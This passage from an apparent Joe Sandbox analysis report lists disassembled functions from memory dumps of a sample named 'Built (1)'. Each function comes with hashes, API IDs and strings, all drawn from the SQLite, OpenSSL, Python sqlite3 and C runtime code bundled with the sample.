                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
                                              • API String ID: 1130837773-200680935
                                              • Opcode ID: 59acb57c20ec5f5fdd9f0c94574421d485a22b90bab6a6d893505269077d18b3
                                              • Instruction ID: bf3410c568b21bd483585c5c74ad84cde47059faa113f4c8863601e1de042481
                                              • Opcode Fuzzy Hash: 59acb57c20ec5f5fdd9f0c94574421d485a22b90bab6a6d893505269077d18b3
                                              • Instruction Fuzzy Hash: F3E16532F08B8285EB648B16E564BB967A1EB40B84F440235DEBD87BD9DF3CE449C700
                                              Function 00007FFE00761A23 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 199COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: ..\s\ssl\tls_srp.c$ssl_srp_ctx_init_intern
                                              • API String ID: 3568877910-1794268454
                                              • Opcode ID: c98abb5af24d66d9a004150ee76f33fb4d169395e3b77ac11ed95962e5c191e9
                                              • Instruction ID: b85258ca0c4925d7b9bfb3a03759818aacea72a5922bbf5a8e2f7a210acd27a1
                                              • Opcode Fuzzy Hash: c98abb5af24d66d9a004150ee76f33fb4d169395e3b77ac11ed95962e5c191e9
                                              • Instruction Fuzzy Hash: EEA13D26A1BB8295EB45EF28C4516B82364FB85B48F1C4136EF8D4736ADF3CE596C310
                                              Function 00007FFE11EA3D30 Relevance: 15.2, APIs: 10, Instructions: 228COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908338431.00007FFE11EA1000.00000040.00000001.01000000.00000011.sdmp, Offset: 00007FFE11EA0000, based on PE: true
                                              • Associated: 00000001.00000002.1908309495.00007FFE11EA0000.00000002.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EAE000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908338431.00007FFE11EB1000.00000040.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908465592.00007FFE11EB2000.00000080.00000001.01000000.00000011.sdmpDownload File
                                              • Associated: 00000001.00000002.1908493886.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ea0000_Built (1).jbxd
                                              Similarity
                                              • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                              • String ID:
                                              • API String ID: 190073905-0
                                              • Opcode ID: cdc80ff2bd331127a9e052aa7617465d13414bb2416cba23159666197b36344b
                                              • Instruction ID: cbe4631a020b088004be4bd713ab969c3c5e2f7dbd28cd53826a0b5159fea1d9
                                              • Opcode Fuzzy Hash: cdc80ff2bd331127a9e052aa7617465d13414bb2416cba23159666197b36344b
                                              • Instruction Fuzzy Hash: C9818E20E1CE4386F7509BE7BC412BB66ACAF457A0F5880B5EA4D437B2DF7DE4458600
                                              Function 00007FFDFAB92740 Relevance: 15.2, APIs: 10, Instructions: 228COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1905204554.00007FFDFAB91000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAB90000, based on PE: true
                                              • Associated: 00000001.00000002.1905173009.00007FFDFAB90000.00000002.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFABF2000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC3E000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC42000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC47000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFAC9F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA4000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905204554.00007FFDFACA7000.00000040.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905594100.00007FFDFACA8000.00000080.00000001.01000000.00000013.sdmpDownload File
                                              • Associated: 00000001.00000002.1905625275.00007FFDFACAA000.00000004.00000001.01000000.00000013.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdfab90000_Built (1).jbxd
                                              Similarity
                                              • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                              • String ID:
                                              • API String ID: 190073905-0
                                              • Opcode ID: 5dafe5ee96a40d1e6b25b2608b6efe82eb1d3eb2d2b490ba319fff0bfd4bd6c8
                                              • Instruction ID: b1070e810456dd37500085e19a5f67fcb7e318d05e1d06ac52dc00ccc0628cc1
                                              • Opcode Fuzzy Hash: 5dafe5ee96a40d1e6b25b2608b6efe82eb1d3eb2d2b490ba319fff0bfd4bd6c8
                                              • Instruction Fuzzy Hash: FE81CE25F0C24346FB5CAB66D4B1AB92690AF8D788FD441B5DA2D473EEDE3CE8458300
                                              Function 00007FFE0EB3293C Relevance: 15.2, APIs: 10, Instructions: 228COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908122453.00007FFE0EB31000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFE0EB30000, based on PE: true
                                              • Associated: 00000001.00000002.1908094466.00007FFE0EB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB50000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB59000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908122453.00007FFE0EB5D000.00000040.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908249588.00007FFE0EB60000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                              • Associated: 00000001.00000002.1908278001.00007FFE0EB62000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe0eb30000_Built (1).jbxd
                                              Similarity
                                              • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                              • String ID:
                                              • API String ID: 190073905-0
                                              • Opcode ID: fa583487f0612484761ad32661aa2cb5e0e53dd875839c8ff57ab6c3a223be74
                                              • Instruction ID: 24c6464bd53cbb09f7d4f35c87dcc6f08afff99a61cad41b851afc6eced5b5d7
                                              • Opcode Fuzzy Hash: fa583487f0612484761ad32661aa2cb5e0e53dd875839c8ff57ab6c3a223be74
                                              • Instruction Fuzzy Hash: BE81BF21E0C64386FA74AF79A4432B962D1AF85B80F544535EADC977B6DF3CE8858F00
                                              Function 00007FFDFF1F17A0 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 414COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
                                              • API String ID: 1130837773-2846519077
                                              • Opcode ID: 678c5b64305dd0b9f6b3d985d23af7947f7b0c4d9b08ff65ad20d1872ccb7e74
                                              • Instruction ID: 9611765bca710bb2e2646c2b9319c668a15e6382de381f1e889a6635e6bad65d
                                              • Opcode Fuzzy Hash: 678c5b64305dd0b9f6b3d985d23af7947f7b0c4d9b08ff65ad20d1872ccb7e74
                                              • Instruction Fuzzy Hash: EF127962F086C286FB24DB229420BA937A1FB84B88F444335DA6E577D9DF3CE5558740
                                              Function 00007FFDFF1A0C20 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: new[]
                                              • String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
                                              • API String ID: 4059295235-3840279414
                                              • Opcode ID: 3bf1762bcba502c2c00b4ed53d9f4672409a367eefebbef06baf522d6a1b5221
                                              • Instruction ID: 9217cea41c2cb9e9758fa63b2a30a3748bba9456a3832e33000fe89c13010999
                                              • Opcode Fuzzy Hash: 3bf1762bcba502c2c00b4ed53d9f4672409a367eefebbef06baf522d6a1b5221
                                              • Instruction Fuzzy Hash: F9518F23F0868345FB259F61A821EBA6791AF44B88F484236D97D4B7DEDF2CE4458244
                                              Function 00007FFE11EC5E39 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 67COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFE11EC0000, based on PE: true
                                              • Associated: 00000001.00000002.1908523800.00007FFE11EC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11ED9000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11EDF000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908641322.00007FFE11EE1000.00000080.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908673577.00007FFE11EE3000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ec0000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: delete$insert$replace$update
                                              • API String ID: 3568877910-310407209
                                              • Opcode ID: 36c8b4f9b702cd136e1ce8819d468669bca1697a27190de750f94de76dca0b71
                                              • Instruction ID: ffeacf4991e39742442822f186d56adbb86244328db4ac8ceb4b73f2749c4a48
                                              • Opcode Fuzzy Hash: 36c8b4f9b702cd136e1ce8819d468669bca1697a27190de750f94de76dca0b71
                                              • Instruction Fuzzy Hash: 97215761B08E1241FB548B97AC4437B2B99AF42BA0FC880B5DD4D862A0EE2CF556C746
                                              Function 00007FFDFF1A2AB0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 339COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a$misuse
                                              • API String ID: 1130837773-4010806813
                                              • Opcode ID: c2ba1d71b3c6af3a2d77f054df7a846763e3d716a1d7d0e696c575bfdd053205
                                              • Instruction ID: f55fce1095cfb87c3b205241ce14f8aaf0509aa5bd1977b4fd5ff30d811261e8
                                              • Opcode Fuzzy Hash: c2ba1d71b3c6af3a2d77f054df7a846763e3d716a1d7d0e696c575bfdd053205
                                              • Instruction Fuzzy Hash: 98F15A33F09A8281EB649F219464B7937A5BF44B84F544235CA7E8B7E9CF7CE845A340
                                              Function 00007FFE00762531 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 206COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007E20033420ErrorLast
                                              • String ID: %s/%s$..\s\ssl\ssl_cert.c$SSL_add_dir_cert_subjects_to_stack$SSL_add_file_cert_subjects_to_stack$calling OPENSSL_dir_read(%s)
                                              • API String ID: 1442048445-502574948
                                              • Opcode ID: 1b6c6dd8e8bda7b1273f0413ed51fe834bb68ae983ef7ac1fb9cccdef07cda4a
                                              • Instruction ID: 8d84ca625342dafa1f58435087d02063f4a678d9fcf84ed6412a797f70d68c69
                                              • Opcode Fuzzy Hash: 1b6c6dd8e8bda7b1273f0413ed51fe834bb68ae983ef7ac1fb9cccdef07cda4a
                                              • Instruction Fuzzy Hash: 7B918061A1E68791F652BB65A4113BA6360AF847C0F9C4032EB8E47BBEDE3CE405C711
                                              Function 00007FFE11EC7210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 171COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1908549251.00007FFE11EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00007FFE11EC0000, based on PE: true
                                              • Associated: 00000001.00000002.1908523800.00007FFE11EC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11ED9000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908549251.00007FFE11EDF000.00000040.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908641322.00007FFE11EE1000.00000080.00000001.01000000.0000000A.sdmpDownload File
                                              • Associated: 00000001.00000002.1908673577.00007FFE11EE3000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe11ec0000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007C8820
                                              • String ID: Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.
                                              • API String ID: 1518651780-2922342969
                                              • Opcode ID: 4485e42d38ce59a586e11fd294f0a7b948cbdd3435bb1fbbe8f4992e5449969a
                                              • Instruction ID: 8a78975a06ef4d86b53648903beb90b9261d361246baf74962b40424bc49370f
                                              • Opcode Fuzzy Hash: 4485e42d38ce59a586e11fd294f0a7b948cbdd3435bb1fbbe8f4992e5449969a
                                              • Instruction Fuzzy Hash: 00812A32A08E42C6EB549FABEC5427A6769FB84BA4F9404B1DA0E47674CF3DF446C301
                                              Function 00007FFE00761497 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 306COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: $..\s\ssl\statem\extensions_srvr.c$HMAC$SHA2-256$tls_construct_stoc_cookie
                                              • API String ID: 0-1087561517
                                              • Opcode ID: dfede8cc067dcd9ddb4b34bd0b789483d7e2bf23318d8c82cad3df1b5b3ef3f1
                                              • Instruction ID: b6fba8a2fdef5671944a0c0110d57448ea95cf5579ba210f4bda56b079122c10
                                              • Opcode Fuzzy Hash: dfede8cc067dcd9ddb4b34bd0b789483d7e2bf23318d8c82cad3df1b5b3ef3f1
                                              • Instruction Fuzzy Hash: 5ED16661B0AA4781FB90BA62D9513F922A5AF40784F4C8032DF4E57BAEDF3DE905C311
                                              Function 00007FFE007626DF Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 257COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: ..\s\ssl\ssl_rsa.c$SERVERINFO FOR $SERVERINFOV2 FOR $SSL_CTX_use_serverinfo_file
                                              • API String ID: 0-2528746747
                                              • Opcode ID: c5dc9098a459d398791ed941241494af51cd2f9a188a138824c9166ef273cde9
                                              • Instruction ID: 72752cb1fb73a81ba69944dde015479f32ac6db97aba74f2b08fe2756f406445
                                              • Opcode Fuzzy Hash: c5dc9098a459d398791ed941241494af51cd2f9a188a138824c9166ef273cde9
                                              • Instruction Fuzzy Hash: 1DB18CA1B0A657A5FB11FB61C8411B923A1EF80794F584032EB4D17BAEDE3DEA46C341
                                              Function 00007FFDFF1C8820 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 139COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007A462010
                                              • String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a$misuse
                                              • API String ID: 1130837773-1849901227
                                              • Opcode ID: 5b03c3fd7b156c79ee74d9c804fa65f0183df88bad20564a9b7d6e69dad7e958
                                              • Instruction ID: 862ac2edd6313d3c5197bdcfe8c43a117cac9c23153be68f1d82bdc4a099af14
                                              • Opcode Fuzzy Hash: 5b03c3fd7b156c79ee74d9c804fa65f0183df88bad20564a9b7d6e69dad7e958
                                              • Instruction Fuzzy Hash: B851BC23F0DA9285FB559B1294B0AB96392AF81BA4F444335DE7D877CCDF2CE8418305
                                              Function 00007FFDFF1BB5B0 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 414COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907515167.00007FFDFF191000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFDFF190000, based on PE: true
                                              • Associated: 00000001.00000002.1907487005.00007FFDFF190000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F1000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF2F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907515167.00007FFDFF308000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907730427.00007FFDFF30A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                              • Associated: 00000001.00000002.1907759353.00007FFDFF30B000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffdff190000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: %s at line %d of [%.10s]$database corruption$e876e51a0ed5c5b3126f52e532044363a014bc594cfefa87ffb5b82257cc467a
                                              • API String ID: 0-2614787333
                                              • Opcode ID: 11bc7a93782c713c335af6ff7083d68d721cf9f98c80271d7d42ad580ad14e73
                                              • Instruction ID: 6c32ad333bb3c1fe3966bd46f428e4cacdd1ee819035f655b865b81bdd147172
                                              • Opcode Fuzzy Hash: 11bc7a93782c713c335af6ff7083d68d721cf9f98c80271d7d42ad580ad14e73
                                              • Instruction Fuzzy Hash: F7F17163F08692C6EB65DB25D460ABC27A1BB04B98F144235DF7D47AE9DF38D882C340
                                              Function 00007FFE0076230B Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 388COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000001.00000002.1907813875.00007FFE00761000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFE00760000, based on PE: true
                                              • Associated: 00000001.00000002.1907788353.00007FFE00760000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E2000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE007E4000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE0080C000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00817000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1907813875.00007FFE00822000.00000040.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908035090.00007FFE00826000.00000080.00000001.01000000.0000000F.sdmpDownload File
                                              • Associated: 00000001.00000002.1908066472.00007FFE00828000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_1_2_7ffe00760000_Built (1).jbxd
                                              Similarity
                                              • API ID: 00007
                                              • String ID: ..\s\ssl\statem\statem_clnt.c$SHA2-256$resumption$tls_process_new_session_ticket
                                              • API String ID: 3568877910-1635961163
